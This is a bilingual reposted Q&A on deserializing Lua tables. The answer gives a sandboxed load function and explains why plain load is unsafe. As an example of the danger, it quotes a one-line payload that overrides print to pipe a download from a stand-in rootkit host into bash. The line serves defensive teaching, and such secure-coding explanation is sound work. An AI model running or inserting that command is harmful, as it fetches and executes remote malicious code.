Lua中的反序列化 [英] Deserialization in Lua
问题描述
我已经在lua中序列化了一个表.lua有反序列化的功能吗?
I have already serialized a table in lua.Does lua have any function to deserialize it?
function dump(o)
if type(o) == 'table' then
local s = '{ '
for k,v in pairs(o) do
if type(k) ~= 'number' then k = '"'..k..'"' end
s = s .. '['..k..'] = ' .. dump(v) .. ','
end
return s .. '} '
else
return tostring(o)
end
end
local people = {
{
name = "Fred",
address = "16 Long Street",
phone = "123456"
},
{
name = "Wilma",
address = "16 Long Street",
phone = "123456"
},
{
name = "Barney",
address = "17 Long Street",
phone = "123457"
}
}
file = io.open("test.lua", "a")
file:write("People:", dump(people))
该程序的输出为:
人物:{[1] = {[电话"] = 123456,[名称"] =弗雷德,[地址"] = 16长街,},[2] = {[电话"] = 123456,[ 名称"] = Wilma,
[地址"] = 16 Long Street,},[3] = {[电话"] = 123457,["name"] = Barney,["address"] = 17 Long Street,},}
The output of this program is:
People: { [1] = { ["phone"] = 123456,["name"] = Fred,["address"] = 16 Long Street,} ,[2] = { ["phone"] = 123456,["name"] = Wilma,
["address"] = 16 Long Street,} ,[3] = { ["phone"] = 123457,["name"] = Barney,["address"] = 17 Long Street,} ,}
请提出一种在lua中反序列化它的方法.
Please suggest a way to Deserialize it in lua.
推荐答案
如果您稍稍更改代码...
If you slightly change your code…
...
end
return s .. '} '
+++ elseif type(o) == 'string' then
+++ return ("%q"):format( o )
else
return tostring(o)
end
...
...您生成有效的Lua.
…you generate valid Lua.
现在您可以
local function condfail( cond, ... )
if not cond then return nil, (...) end
return ...
end
function deserialize( str, vars )
-- create dummy environment
local env = vars and setmetatable( {}, {__index=vars} ) or {}
-- create function that returns deserialized value(s)
local f, _err = load( "return "..str, "=deserialize", "t", env )
if not f then return nil, _err end -- syntax error?
-- set up safe runner
local co = coroutine.create( f )
local hook = function( ) debug.sethook( co, error, "c", 1000000 ) end
debug.sethook( co, hook, "c" )
-- now run the deserialization
return condfail( coroutine.resume( co ) )
end
以合理安全的方式反序列化数据.
to deserialize the data in a reasonably safe way.
反序列化数据的不安全方法是简单地load( "return "..str )( )
,但这将允许运行任意Lua代码.
The unsafe way to deserialize the data would be to simply load( "return "..str )( )
, but that would permit running arbitrary Lua code.
首先,我们将函数放在单独的环境中,这样它就不会影响全局环境. (否则,做print = function() os.execute "curl rootkit.evil.com | bash" end
会将函数替换为稍后在不同(不受保护)的上下文中调用的函数,并运行任意代码.)为方便起见,您可以传入一个表,以便数据可以引用pre-定义的变量. (您可能不需要这个,但是如果您需要预定义的常量,这就是提供它们的方法.)
First, we put the function in a separate environment so it cannot influence the global environment. (Else, doing, say, print = function() os.execute "curl rootkit.evil.com | bash" end
would replace a function with something that is later called from a different (unprotected) context and runs arbitrary code.) For convenience, you could pass in a table so the data can refer to pre-defined variables. (You're probably not going to need this, but if you ever need pre-defined constants that's how to provide them.)
接下来,我们在单独的协程中运行该函数,因此我们可以设置一个不影响程序其余部分的调试钩子.然后我们可以通过有效设置debug.sethook( co, error, "c" )
来禁止执行任何函数调用. (由于对"is"/返回数据的函数的初始调用已经触发了此操作,因此将其延迟一次调用.因此,我们设置了一个钩子,将其在调用时更改为error
.)
Next, we run the function in a separate coroutine so we can set a debug hook that doesn't influence the rest of the program. And then we can forbid doing any function calls by effectively setting debug.sethook( co, error, "c" )
. (Because the initial call of the function that "is"/returns your data would already trigger this, we delay this by one call. So we set a hook that changes the hook to error
when called.)
现在,所有函数调用都被禁止,外部代码也不受运行代码的影响.攻击者唯一可以做的就是浪费时间-例如像while true do end
或::x:: goto x
这样的无穷循环.因此,在设置挂钩– debug.sethook( co, error, "c", 1000000 )
时,我们还设置了最大指令数.一百万条指令对于相对较大的文件应该足够了.这是一个任意限制-如果太小则增加它. (在一个循环中最多可以计数250000,因此可以创建多个以上的原始值).
Now all function calls are forbidden and the outside cannot be influenced by the running code. The only remaining thing that an attacker can do is waste time - e.g. by endless loops like while true do end
or ::x:: goto x
. So we also set a maximum instruction count when setting the hook – debug.sethook( co, error, "c", 1000000 )
. One million instructions should be enough for relatively large files. It's an arbitrary limit – increase it if it's too small. (It's enough to count up to 250000 in a loop so creating more than this many primitive values is possible).
这篇关于Lua中的反序列化的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!